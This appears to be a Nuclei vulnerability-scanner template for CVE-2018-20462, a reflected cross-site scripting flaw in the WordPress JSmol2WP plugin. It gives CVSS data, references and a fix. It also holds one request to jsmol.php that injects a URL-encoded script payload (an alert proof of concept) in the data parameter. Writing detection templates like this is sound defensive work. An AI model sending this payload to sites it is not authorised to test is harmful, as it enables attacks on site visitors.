id: CVE-2018-20462 info: name: WordPress JSmol2WP <=1.07 - Cross-Site Scripting author: daffainfo severity: medium description: WordPress JSmol2WP version 1.07 and earlier is vulnerable to cross-site scripting and allows remote attackers to inject arbitrary web script or HTML via the jsmol.php data parameter. remediation: | Update to the latest version of the WordPress JSmol2WP plugin (1.08 or higher) to mitigate this vulnerability. reference: - https://github.com/sullo/advisory-archives/blob/master/wordpress-jsmol2wp-CVE-2018-20463-CVE-2018-20462.txt - https://wpvulndb.com/vulnerabilities/9196 - https://nvd.nist.gov/vuln/detail/CVE-2018-20462 - https://www.cbiu.cc/2018/12/WordPress%E6%8F%92%E4%BB%B6jsmol2wp%E6%BC%8F%E6%B4%9E/#%E5%8F%8D%E5%B0%84%E6%80%A7XSS classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2018-20462 cwe-id: CWE-79 epss-score: 0.00245 epss-percentile: 0.62377 cpe: cpe:2.3:a:jsmol2wp_project:jsmol2wp:1.07:*:*:*:*:wordpress:*:* metadata: max-request: 1 vendor: jsmol2wp_project product: jsmol2wp framework: wordpress tags: cve,cve2018,wordpress,xss,wp-plugin http: - method: GET path: - '{{BaseURL}}/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=saveFile&data=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&mimetype=text/html;%20charset=utf-8' matchers-condition: and matchers: - type: word part: body words: - "" - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022025fefe56d468dc5415c1cbb0b083e082dd82ccbf63c4c5bf4ff0ef0a929abaec022100a24a79f8b7a961b3b05f1af3e45446771363f5ecf17029eebc2e1a9c681590dc:922c64590222798bb761d5b6d8e72950